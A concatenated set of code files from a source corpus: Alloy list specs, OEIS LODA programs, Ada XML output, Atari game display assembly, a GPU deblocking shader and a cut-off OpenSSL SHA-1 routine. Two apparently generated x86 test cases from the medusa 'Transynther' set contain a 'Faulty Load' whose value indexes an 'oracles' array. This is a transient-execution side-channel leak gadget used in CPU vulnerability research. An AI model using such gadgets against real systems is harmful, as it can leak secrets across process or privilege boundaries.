(%r11) nop nop nop nop nop sub $14204, %r12 // Store lea addresses_WC+0xc44c, %rsi clflush (%rsi) nop add %r10, %r10 mov $0x5152535455565758, %r9 movq %r9, %xmm0 vmovups %ymm0, (%rsi) cmp $8844, %r12 // Faulty Load mov $0xc4c, %r8 nop nop nop nop nop cmp $3343, %r9 mov (%r8), %r10 lea oracles, %rbx and $0xff, %r10 shlq $12, %r10 mov (%rbx,%r10,1), %r10 pop %rsi pop %rbx pop %r9 pop %r8 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_P', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 4, 'congruent': 3, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A', 'same': False, 'size': 1, 'congruent': 3, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WC', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_P', 'same': True, 'size': 8, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_A_ht', 'same': True, 'size': 32, 'congruent': 1, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 2, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 3, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A_ht', 'same': True, 'size': 16, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'00': 166} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
experiments/realbugs/student13.als
saiema/ARepair
5
4473
<reponame>saiema/ARepair sig List { header: set Node } sig Node { link: set Node, elem: set Int } fact allNodesBelongToAList { all n:Node | some l:List | n in l.header.*link + l.header } // Correct fact CardinalityConstraints{ all l:List | lone l.header all n:Node | lone n.link all n:Node | one n.elem } // Underconstraint. n.link could be empty so header=l1->n1, link=n1->n2 // should not be allowed. pred Loop (This : List){ // Fix: replace "in" with "=". no This.header || one n:This.header.*link | n.link in n } // Correct pred Sorted(This: List){ all n:This.header.*link | some n.link => n.elem <= n.link.elem } pred RepOk(This:List){ Loop[This] Sorted[This] } // Correct pred Count(This: List, x:Int, result:Int){ RepOk[This] #{n: This.header.*link | n.elem in x} = result } abstract sig Boolean {} one sig True, False extends Boolean {} // Correct pred Contains(This: List, x: Int, result: Boolean) { RepOk[This] x in This.header.*link.elem => result = True else result = False } fact IGNORE { one List List.header.*link = Node }
oeis/268/A268094.asm
neoneye/loda-programs
11
171949
; A268094: Number of 2 X n 0..2 arrays with every repeated value in every row not one larger and in every column one larger mod 3 than the previous repeated value, and upper left element zero. ; Submitted by <NAME> ; 3,27,243,2028,16428,129792,1009200,7756992,59140800,448278528,3383655168,25462705152,191189978112,1433272320000,10732091092992,80291457712128,600321157939200,4486422252748800,33517530883227648,250344535896096768,1869505884184117248,13959148871759167488,104219649917013983232,778054393093945294848,5808287641065266085888,43358078570691645407232,323653308093944863653888,2415913436022395149221888,18033346059025373869375488,134606676306494993939300352,1004739487279419902184652800 seq $0,268093 ; Number of 1 X n 0..2 arrays with every repeated value in every row not one larger and in every column one larger mod 3 than the previous repeated value, and upper left element zero. pow $0,2 mul $0,3
oeis/087/A087172.asm
neoneye/loda-programs
11
17689
; A087172: Greatest Fibonacci number that does not exceed n. ; 1,2,3,3,5,5,5,8,8,8,8,8,13,13,13,13,13,13,13,13,21,21,21,21,21,21,21,21,21,21,21,21,21,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,89,89,89,89,89,89,89,89,89,89,89,89 mov $2,$0 mov $0,1 mov $1,1 lpb $2 add $0,$1 sub $1,$0 gcd $1,$3 trn $2,$1 lpe
Task/XML-Output/Ada/xml-output-1.ada
LaudateCorpus1/RosettaCodeData
1
25685
with Ada.Strings.Unbounded; with Ada.Text_IO.Text_Streams; with DOM.Core.Documents; with DOM.Core.Elements; with DOM.Core.Nodes; procedure Character_Remarks is package DC renames DOM.Core; package IO renames Ada.Text_IO; package US renames Ada.Strings.Unbounded; type Remarks is record Name : US.Unbounded_String; Text : US.Unbounded_String; end record; type Remark_List is array (Positive range <>) of Remarks; My_Remarks : Remark_List := ((US.To_Unbounded_String ("April"), US.To_Unbounded_String ("Bubbly: I'm > Tam and <= Emily")), (US.To_Unbounded_String ("Tam O'Shanter"), US.To_Unbounded_String ("Burns: ""When chapman billies leave the street ...""")), (US.To_Unbounded_String ("Emily"), US.To_Unbounded_String ("Short & shrift"))); My_Implementation : DC.DOM_Implementation; My_Document : DC.Document := DC.Create_Document (My_Implementation); My_Root_Node : DC.Element := DC.Nodes.Append_Child (My_Document, DC.Documents.Create_Element (My_Document, "CharacterRemarks")); My_Element_Node : DC.Element; My_Text_Node : DC.Text; begin for I in My_Remarks'Range loop My_Element_Node := DC.Nodes.Append_Child (My_Root_Node, DC.Documents.Create_Element (My_Document, "Character")); DC.Elements.Set_Attribute (My_Element_Node, "Name", US.To_String (My_Remarks (I).Name)); My_Text_Node := DC.Nodes.Append_Child (My_Element_Node, DC.Documents.Create_Text_Node (My_Document, US.To_String (My_Remarks (I).Text))); end loop; DC.Nodes.Write (IO.Text_Streams.Stream (IO.Standard_Output), N => My_Document, Pretty_Print => True); end Character_Remarks;
oeis/329/A329964.asm
neoneye/loda-programs
11
247085
; A329964: a(n) = (n!/floor(1+n/2)!)^2. ; 1,1,1,9,16,400,900,44100,112896,9144576,25401600,3073593600,9032601600,1526509670400,4674935865600,1051860569760000,3324398837760000,960751264112640000,3112834095724953600,1123733108556708249600,3714820193575895040000 seq $0,262033 ; Number of permutations of [n] beginning with at least floor(n/2) ascents. pow $0,2
display.asm
polluks/scorch_src
6
19246
; @com.wudsn.ide.asm.mainsourcefile=program.asm .IF *>0 ;this is a trick that prevents compiling this file alone ;----------------------------------------------------- ;-------------display-lists--------------------------- ;----------------------------------------------------- PurchaseDL .byte $70,$70,$20 .byte $42 .word textbuffer2 .byte $02,$10,$42 MoreUpdl .word EmptyLine .byte 0,$42 WeaponsListDL .word ListOfWeapons .byte 0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0 .byte $42 MoreDownDL .word EmptyLine .byte $10,$42 .word WeaponsDescription .byte 2 .byte $41 .word PurchaseDL ;------------------------ OptionsDL .byte $70,$70,$70,$70,$70 .byte $42 .word OptionsScreen .byte $02,$02,$70,$02,0,$02,0,$2,0,$2 .byte $41 .word OptionsDL ;------------------------ ;Enter names of tanks DL NameDL .byte $70,$70,$70,$70,$70 .byte $42 .word NameScreen .byte $30 .byte $02,$30,$2 .byte $10,2,2,2,$30,2,2 .byte $41 .word NameDL ; ------------------------------------------------- dl ; MAIN game display list .byte $70,$00 .byte $42 .word textbuffer .byte $02 +$80 ;DLI .byte $00 .byte $4f .word WhiteLine .byte $4f .word PlotLine .byte $4f .word WhiteLine .byte $4f .word display :100 .by $0f .by $0f .by $4f .wo display+$0ff0 :97 .byte $0f .byte $41 .word dl ; horizontal line WhiteLine :screenBytes .by $ff PlotLine = display + screenHeight*screenBytes ; the last line is plot pointer ;----------------------------------------------- ;Screen displays go first to avoid crossing 4kb barrier ;----------------------------------------------- OptionsScreen dta d"Welcome to Scorch ver. 124 (cc)2000-2013" dta d" Please select option with cursor keys " dta d" and press (Return) to proceed " OptionsHere ; 0123456789012345678901234567890123456789 dta d"Players : 2 3 4 5 6 " dta d"Cash : none 2K 5K 8K 10K " dta d"Gravity : 0.2G 0.5G 1G 2G 4G " dta d"Wind : 1B 3B 5B 7B 9B " OptionsScreenEnd ; ------------------------------------------------- NameScreen dta d" Enter names of players " dta d" Tank 01 Name:" NameAdr dta d" " dta d" Human/Atari (difficulty level) " dta d" " NamesOfLevels dta d" HUMAN Moron Shooter " dta d" Poolshark Toosser Chooser " dta d" Spoiler Cyborg Unknown " dta d" " dta d"Tab"* dta d" - Player/Difficulty level " dta d" " dta d"Return"* dta d" - Proceed " ;--------------------------------------------------- MoreUp dta d" " dta 92,92,92 dta d" more " dta 92,92,92 dta d" " MoreDown dta d" " dta 93,93,93 dta d" more " dta 93,93,93 dta d" " ListOfWeapons dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " ListOfWeapons1End ListOfDefensiveWeapons dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " dta d" " ListOfDefensiveWeaponsEnd ;constant useful when clearing WeaponsDescription dta d" " dta d"Tab"* dta d" - Defensive/Offensive weapon " dta d" " dta d"Space"* dta d" - Purchase " dta d"Return"* dta d" - Finish " EmptyLine dta d" " ;----------------------------------------------- textbuffer dta d"Player: " dta d" " textbuffer2 dta d"Player: ******** Cash: 00000 " dta d"----------------------------------------" .endif
oeis/313/A313534.asm
neoneye/loda-programs
11
4871
; A313534: Coordination sequence Gal.6.231.5 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; Submitted by <NAME>(s1) ; 1,5,10,14,19,23,27,31,36,40,45,50,55,60,64,69,73,77,81,86,90,95,100,105,110,114,119,123,127,131,136,140,145,150,155,160,164,169,173,177,181,186,190,195,200,205,210,214,219,223 mov $5,$0 mul $0,2 mov $4,$0 sub $0,1 div $0,11 add $0,1 mod $0,2 mov $2,$4 mul $2,3 div $2,11 mov $6,$2 add $6,$0 mov $1,$6 mov $3,$5 mul $3,4 add $1,$3 mov $0,$1
src/shaders/h264/ildb/Load_ILDB_Cntrl_Data_16DW.asm
tizenorg/platform.upstream.libva-intel-driver
0
246218
<filename>src/shaders/h264/ildb/Load_ILDB_Cntrl_Data_16DW.asm<gh_stars>0 /* * Copyright © <2010>, Intel Corporation. * * This program is licensed under the terms and conditions of the * Eclipse Public License (EPL), version 1.0. The full text of the EPL is at * http://www.opensource.org/licenses/eclipse-1.0.php. * */ // Module name: load_ILDB_Cntrl_Data_16DW.asm // // This module loads AVC ILDB 64DW control data for one MB CTG. // Dataport expands from 16DW to 64DW. // //---------------------------------------------------------------- // Symbols need to be defined before including this module // // Source region in :ud // CNTRL_DATA_D: CNTRL_DATA_D Base=rxx ElementSize=4 SrcRegion=REGION(8,1) Type=ud // 8 GRFs // // Binding table index: // BI_CNTRL_DATA: Binding table index of control data surface // //---------------------------------------------------------------- // On CTG, MB control data in memory occupy 16 DWs. Data port returns 8 GRFs with expanded control data. #if defined(_MBAFF) // We need to get control data offset for the bottom MB in mbaff mode. // That is, get f0.1=1 if MbaffFlag==1 && BotFieldFlag==1 // and (1) CTemp1_W:uw BitFields:uw MbaffFlag+BotFieldFlag:uw // Mute all other bits // cmp.e.f0.1 (1) NULLREGW CTemp1_W:uw MbaffFlag+BotFieldFlag:uw // Check mbaff and bot flags and.ne.f0.1 (1) NULLREGW BitFields:uw BotFieldFlag:uw // Global offset mov (1) MSGSRC.2:ud CntrlDataOffsetY:ud (f0.1) add (1) MSGSRC.2:ud MSGSRC.2:ud 64:w // +64 to the next MB control data (bot MB) #endif send (8) CNTRL_DATA_D(0)<1> MSGHDRY MSGSRC<8;8,1>:ud DAPREAD RESP_LEN(8)+ILDBRMSGDSC+BI_CNTRL_DATA // Receive 8 GRFs // End of load_ILDB_Cntrl_Data_16DW.asm // AVC ILDB control data message header format //DWord Bit Description //M0.7 31:0 Debug //M0.6 31:0 Debug //M0.5 31:8 Ignored // 7:0 Dispatch ID. // This ID is assigned by the fixed function unit and is a unique identifier for the thread. It is used to free up resources used by the thread upon thread completion. //M0.4 31:0 Ignored //M0.3 31:0 Ignored //M0.2 31:0 Global Offset. Specifies the global byte offset into the buffer. // This offset must be OWord aligned (bits 3:0 MBZ) Format = U32 Range = [0,FFFFFFF0h] //M0.1 31:0 Ignored //M0.0 31:0 Ignored
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0xca_notsx.log_21829_1711.asm
ljhsiun2/medusa
9
242835
.global s_prepare_buffers s_prepare_buffers: push %r13 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x18f1f, %rsi lea addresses_D_ht+0xa51d, %rdi nop nop nop add $21650, %r13 mov $28, %rcx rep movsl nop nop nop nop and %rdx, %rdx lea addresses_UC_ht+0x1c37d, %rbx nop nop nop nop xor %rdi, %rdi movw $0x6162, (%rbx) nop nop nop dec %rdi lea addresses_D_ht+0x10abd, %rdx nop nop nop sub %rbp, %rbp mov (%rdx), %r13 nop and %rdi, %rdi lea addresses_A_ht+0x14d37, %rdx clflush (%rdx) nop nop nop nop add %rsi, %rsi mov $0x6162636465666768, %rdi movq %rdi, %xmm4 movups %xmm4, (%rdx) nop nop add $42966, %rdx lea addresses_WC_ht+0x18494, %rbp nop nop nop nop nop and %rdi, %rdi movb $0x61, (%rbp) add $906, %rbp pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r13 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r15 push %r8 push %rbp push %rbx push %rdx // Store lea addresses_normal+0x1f543, %r11 inc %rbx mov $0x5152535455565758, %rdx movq %rdx, (%r11) nop nop nop nop and $25737, %r8 // Store lea addresses_WT+0x1cbd1, %r13 nop nop nop add %rdx, %rdx mov $0x5152535455565758, %r11 movq %r11, (%r13) nop nop nop sub %r13, %r13 // Store lea addresses_PSE+0x12c7d, %r13 clflush (%r13) nop nop nop nop cmp %r15, %r15 mov $0x5152535455565758, %rbx movq %rbx, %xmm7 vmovups %ymm7, (%r13) nop nop xor %r15, %r15 // Store lea addresses_WT+0xb505, %r13 nop nop nop nop inc %r11 mov $0x5152535455565758, %r8 movq %r8, %xmm2 movups %xmm2, (%r13) nop sub $56223, %r11 // Store lea addresses_PSE+0x1cee5, %r8 sub $49661, %r11 mov $0x5152535455565758, %r13 movq %r13, %xmm3 movups %xmm3, (%r8) and %r8, %r8 // Store lea addresses_UC+0xde15, %rdx nop nop dec %r15 movw $0x5152, (%rdx) nop nop nop nop nop add $29499, %r11 // Load lea addresses_WT+0x407d, %r8 nop nop nop nop nop and $59828, %r13 mov (%r8), %edx nop nop inc %rbx // Store lea addresses_WT+0xa3d, %r13 nop nop nop nop add %rdx, %rdx movb $0x51, (%r13) cmp %r15, %r15 // Store lea addresses_WC+0x11481, %r8 clflush (%r8) nop nop xor $17119, %r13 movb $0x51, (%r8) nop nop nop dec %r8 // Store lea addresses_WT+0x407d, %rdx nop nop add %r11, %r11 mov $0x5152535455565758, %r8 movq %r8, %xmm3 movups %xmm3, (%rdx) inc %rbx // Faulty Load lea addresses_WT+0x407d, %r11 nop nop nop and %r15, %r15 movups (%r11), %xmm6 vpextrq $1, %xmm6, %rbx lea oracles, %r15 and $0xff, %rbx shlq $12, %rbx mov (%r15,%rbx,1), %rbx pop %rdx pop %rbx pop %rbp pop %r8 pop %r15 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_normal', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_WT', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_PSE', 'size': 32, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 16, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_PSE', 'size': 16, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': True, 'type': 'addresses_UC', 'size': 2, 'AVXalign': False}} {'src': {'same': True, 'congruent': 0, 'NT': True, 'type': 'addresses_WT', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WT', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_WC', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 16, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False}} {'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': True}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
tmp32/sha1-586.asm
G-P-S/openssl-1.0.1g-win
1
80290
<gh_stars>1-10 TITLE sha1-586.asm IF @Version LT 800 ECHO MASM version 8.00 or later is strongly recommended. ENDIF .686 .XMM IF @Version LT 800 XMMWORD STRUCT 16 DQ 2 dup (?) XMMWORD ENDS ENDIF .MODEL FLAT OPTION DOTNAME IF @Version LT 800 .text$ SEGMENT PAGE 'CODE' ELSE .text$ SEGMENT ALIGN(64) 'CODE' ENDIF ;EXTERN _OPENSSL_ia32cap_P:NEAR ALIGN 16 _sha1_block_data_order PROC PUBLIC $L_sha1_block_data_order_begin:: push ebp push ebx push esi push edi call $L000pic_point $L000pic_point: pop ebp lea esi,DWORD PTR _OPENSSL_ia32cap_P lea ebp,DWORD PTR ($LK_XX_XX-$L000pic_point)[ebp] mov eax,DWORD PTR [esi] mov edx,DWORD PTR 4[esi] test edx,512 jz $L001x86 test eax,16777216 jz $L001x86 jmp $Lssse3_shortcut ALIGN 16 $L001x86: mov ebp,DWORD PTR 20[esp] mov esi,DWORD PTR 24[esp] mov eax,DWORD PTR 28[esp] sub esp,76 shl eax,6 add eax,esi mov DWORD PTR 104[esp],eax mov edi,DWORD PTR 16[ebp] jmp $L002loop ALIGN 16 $L002loop: mov eax,DWORD PTR [esi] mov ebx,DWORD PTR 4[esi] mov ecx,DWORD PTR 8[esi] mov edx,DWORD PTR 12[esi] bswap eax bswap ebx bswap ecx bswap edx mov DWORD PTR [esp],eax mov DWORD PTR 4[esp],ebx mov DWORD PTR 8[esp],ecx mov DWORD PTR 12[esp],edx mov eax,DWORD PTR 16[esi] mov ebx,DWORD PTR 20[esi] mov ecx,DWORD PTR 24[esi] mov edx,DWORD PTR 28[esi] bswap eax bswap ebx bswap ecx bswap edx mov DWORD PTR 16[esp],eax mov DWORD PTR 20[esp],ebx mov DWORD PTR 24[esp],ecx mov DWORD PTR 28[esp],edx mov eax,DWORD PTR 32[esi] mov ebx,DWORD PTR 36[esi] mov ecx,DWORD PTR 40[esi] mov edx,DWORD PTR 44[esi] bswap eax bswap ebx bswap ecx bswap edx mov DWORD PTR 32[esp],eax mov DWORD PTR 36[esp],ebx mov DWORD PTR 40[esp],ecx mov DWORD PTR 44[esp],edx mov eax,DWORD PTR 48[esi] mov ebx,DWORD PTR 52[esi] mov ecx,DWORD PTR 56[esi] mov edx,DWORD PTR 60[esi] bswap eax bswap ebx bswap ecx bswap edx mov DWORD PTR 48[esp],eax mov DWORD PTR 52[esp],ebx mov DWORD PTR 56[esp],ecx mov DWORD PTR 60[esp],edx mov DWORD PTR 100[esp],esi mov eax,DWORD PTR [ebp] mov ebx,DWORD PTR 4[ebp] mov ecx,DWORD PTR 8[ebp] mov edx,DWORD PTR 12[ebp] ; 00_15 0 mov esi,ecx mov ebp,eax rol ebp,5 xor esi,edx add ebp,edi mov edi,DWORD PTR [esp] and esi,ebx ror ebx,2 xor esi,edx lea ebp,DWORD PTR 1518500249[edi*1+ebp] add ebp,esi ; 00_15 1 mov edi,ebx mov esi,ebp rol ebp,5 xor edi,ecx add ebp,edx mov edx,DWORD PTR 4[esp] and edi,eax ror eax,2 xor edi,ecx lea ebp,DWORD PTR 1518500249[edx*1+ebp] add ebp,edi ; 00_15 2 mov edx,eax mov edi,ebp rol ebp,5 xor edx,ebx add ebp,ecx mov ecx,DWORD PTR 8[esp] and edx,esi ror esi,2 xor edx,ebx lea ebp,DWORD PTR 1518500249[ecx*1+ebp] add ebp,edx ; 00_15 3 mov ecx,esi mov edx,ebp rol ebp,5 xor ecx,eax add ebp,ebx mov ebx,DWORD PTR 12[esp] and ecx,edi ror edi,2 xor ecx,eax lea ebp,DWORD PTR 1518500249[ebx*1+ebp] add ebp,ecx ; 00_15 4 mov ebx,edi mov ecx,ebp rol ebp,5 xor ebx,esi add ebp,eax mov eax,DWORD PTR 16[esp] and ebx,edx ror edx,2 xor ebx,esi lea ebp,DWORD PTR 1518500249[eax*1+ebp] add ebp,ebx ; 00_15 5 mov eax,edx mov ebx,ebp rol ebp,5 xor eax,edi add ebp,esi mov esi,DWORD PTR 20[esp] and eax,ecx ror ecx,2 xor eax,edi lea ebp,DWORD PTR 1518500249[esi*1+ebp] add ebp,eax ; 00_15 6 mov esi,ecx mov eax,ebp rol ebp,5 xor esi,edx add ebp,edi mov edi,DWORD PTR 24[esp] and esi,ebx ror ebx,2 xor esi,edx lea ebp,DWORD PTR 1518500249[edi*1+ebp] add ebp,esi ; 00_15 7 mov edi,ebx mov esi,ebp rol ebp,5 xor edi,ecx add ebp,edx mov edx,DWORD PTR 28[esp] and edi,eax ror eax,2 xor edi,ecx lea ebp,DWORD PTR 1518500249[edx*1+ebp] add ebp,edi ; 00_15 8 mov edx,eax mov edi,ebp rol ebp,5 xor edx,ebx add ebp,ecx mov ecx,DWORD PTR 32[esp] and edx,esi ror esi,2 xor edx,ebx lea ebp,DWORD PTR 1518500249[ecx*1+ebp] add ebp,edx ; 00_15 9 mov ecx,esi mov edx,ebp rol ebp,5 xor ecx,eax add ebp,ebx mov ebx,DWORD PTR 36[esp] and ecx,edi ror edi,2 xor ecx,eax lea ebp,DWORD PTR 1518500249[ebx*1+ebp] add ebp,ecx ; 00_15 10 mov ebx,edi mov ecx,ebp rol ebp,5 xor ebx,esi add ebp,eax mov eax,DWORD PTR 40[esp] and ebx,edx ror edx,2 xor ebx,esi lea 